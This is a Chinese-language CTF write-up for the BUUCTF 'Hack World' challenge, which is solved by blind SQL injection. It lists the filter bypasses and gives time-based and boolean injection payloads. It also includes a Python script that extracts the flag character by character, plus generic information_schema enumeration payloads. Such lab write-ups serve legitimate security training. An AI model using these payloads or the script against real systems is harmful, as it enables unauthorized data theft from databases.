首页 > 其他分享 >【BUUCTF】Hack World 1

【BUUCTF】Hack World 1

时间:2024-08-07 19:17:06浏览次数:19  
标签:返回 BUUCTF buuoj flag sleep Hack World 盲注 id

【BUUCTF】Blacklist (SQL盲注)

题目来源

收录于:BUUCTF  CISCN2019 华北赛区 Day2 Web1

题目描述

纯粹的SQL注入题

img

当输入1时,返回字符串:Hello, glzjin wants a girlfriend.

img

当输入为2时,返回字符串:Do you want to be my girlfriend?

img

当输入为其他数字时,返回字符串:Error Occured When Fetch Result.

img

尝试闭合,发现以下字符被过滤,大小写也无法绕过:

%20   or   and   union   ;

题解

Poc

现在可以确定,当输入1时会返回:Hello, glzjin wants a girlfriend.
由于存在过滤,也不返回报错语句,因此报错注入和堆叠注入都不适用。只能使用盲注。
题目已经给了提示,flag所在表名和列名都叫flag,尝试是否可以使用盲注,PoC如下,两个都可以:

id=if(1,sleep(5),0)     //时间盲注
id=(2>1)                //布尔盲注

当输入 (2>1) 时,返回如下

img

说明 2>1 被当作判断语句执行了。

当输入 if(1,sleep(5),0) 时,页面睡了一会儿,因此也可以使用时间盲注。

EXP

构造语句:

id=((select(ascii(substr(flag,$a,1)))from(flag))=$b)

对$a,$b进行枚举。

这里我使用的是布尔盲注,读者可以尝试编写时间盲注的脚本

import requests

target_string = "Hello"    

url = "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php"

headers = {
    "Host": "937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded",
    "Origin": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
    "Connection": "keep-alive",
    "Referer": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i"
}

body1 = "id=((select(ascii(substr(flag,"
body2 = ",1)))from(flag))="
body3 = ")"

# 创建一个会话对象
session = requests.Session()

try:
    for i in range(1, 50):
        for j in range(40, 126):
            body = body1 + str(i) + body2 + str(j) + body3 
            response = session.post(url, headers=headers, data=body)
        
            # 检查响应状态
            response.raise_for_status()
            
            # print(response.text)
            # 若返回报文中存在字符串“Hello”则说明命中
            if target_string in response.text:     
                print(chr(j), end='')
                break
finally:
    # 关闭会话
    session.close()

执行代码得到flag

img

总结

当不返回报错语句时,尝试使用盲注。

盲注PoC:

//时间盲注
id = if(1,sleep(5),0)     
id = 1 or if(1,sleep(2),0)

//布尔盲注
id = (2>1)                
id = -1 or (2>1)

布尔盲注payload:

id= -1 or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx %23

时间盲注payload:

id= -1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx,sleep(2),0) %23

标签:返回,BUUCTF,buuoj,flag,sleep,Hack,World,盲注,id
From: https://www.cnblogs.com/MrSoap/p/18347698

相关文章

  • 【BUUCTF】Blacklist
    【BUUCTF】Blacklist(SQL注入)题目来源收录于:BUUCTFGYCTF2020题目描述纯粹的SQL注入题当触发黑名单时返回如下过滤了以下关键字setpreparealterrenameselectupdatedeletedropinsertwhere.题解发现可以进行堆叠注入?inject=1';showdatabases;爆表......
  • 【BUUCTF】BabySQli
    【BUUCTF】BabySQli题目来源收录于:BUUCTFGXYCTF2019题目描述纯粹的SQL注入题随意传入name=abc&pw=a返回wronguser尝试传入name=1%27&pw=a发现闭合方式为',同时给出了一个可疑字符串把这段字符串丢进ChatGPT,告诉我们可能是Base32编码的,对其进行Base32解码得到......
  • 打靶记录7——Hacker_Kid-v1
    靶机下载地址https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova难度OSCP风格的中级难度靶机(只需要获取root权限即可,CTF风格的靶机就还需要获取flag)涉及的攻击方法:主机发现端口扫描Web信息收集DNS区域传输XXE注入攻击SSTI模版注入Capabilitie提权......
  • dotnet hello world
    参考资料dotnet命令参考使用dotnettest和xUnit在.NET中对C#进行单元测试DeclaringInternalsVisibleTointhecsprojXUnit输出消息创建控制台项目#创建项目目录mdDotnetStudycdDotnetStudy#创建解决方案dotnetnewsln#创建控制台项目,-n:名称,--use......
  • 开发调试驱动helloworld
    开发调试驱动helloworldhttps://learn.microsoft.com/zh-cn/windows-hardware/drivers配置开发环境https://learn.microsoft.com/zh-cn/windows-hardware/drivers/download-the-wdk按照步骤依次安装VisualStudioCommunity、SDK、WDK这里的windbg界面更现代一点https://lea......
  • BUUCTF [SCTF2019]babyre
    记录一下脱花指令的过程扔进ida中观察,发现有红字报错。像这种肯定是花指令用来干扰程序的,将loc_98Fnop掉即可,大概有四处这样的花指令在最后发现一段smc,因为没有解密函数,因此推测直接解密即可按d全部转化为数据,然后再按c转化为代码又出现一个花指令这个nop明显是干扰程序......
  • BUUCTF [RoarCTF2019]polyre
    第一次遇到反控制流平坦化的题目,记录一下。扔进ida,发现main函数中全是while循环,后来上网查阅才发现是控制流平坦化。反控制流平坦化的教程可以参考这个blog:https://www.cnblogs.com/kelec0ka/p/17909008.html使用deflat生成recovered文件:pythondeflat.py-ftest--addr0x4......
  • 信步漫谈之Android——HelloWorld
    目录目标1资源2第一个HelloWorld程序3项目结构说明3.1目录结构3.2结构说明4在App中添加日志后续补充参考资料目标学习搭建Android的开发环境sayhelloworld1资源官网教程:https://developer.android.com/courses开发工具AndroidStudio下载路径:https://d......
  • 信步漫谈之微信小程序——HelloWorld
    目录目标1资源2程序目录说明3第一个HelloWorld程序4真机调试参考资料(感谢)目标微信小程序开发环境sayhelloworld1资源微信官方文档:https://developers.weixin.qq.com/doc/微信开发者工具下载:https://developers.weixin.qq.com/miniprogram/dev/devtools/downloa......
  • 【BUUCTF】AreUSerialz
    【BUUCTF】AreUSerialz(反序列化)题目来源收录于:BUUCTF网鼎杯2020青龙组题目描述根据PHP代码进行反序列化<?phpinclude("flag.php");highlight_file(__FILE__);classFileHandler{protected$op;protected$filename;protected$content;......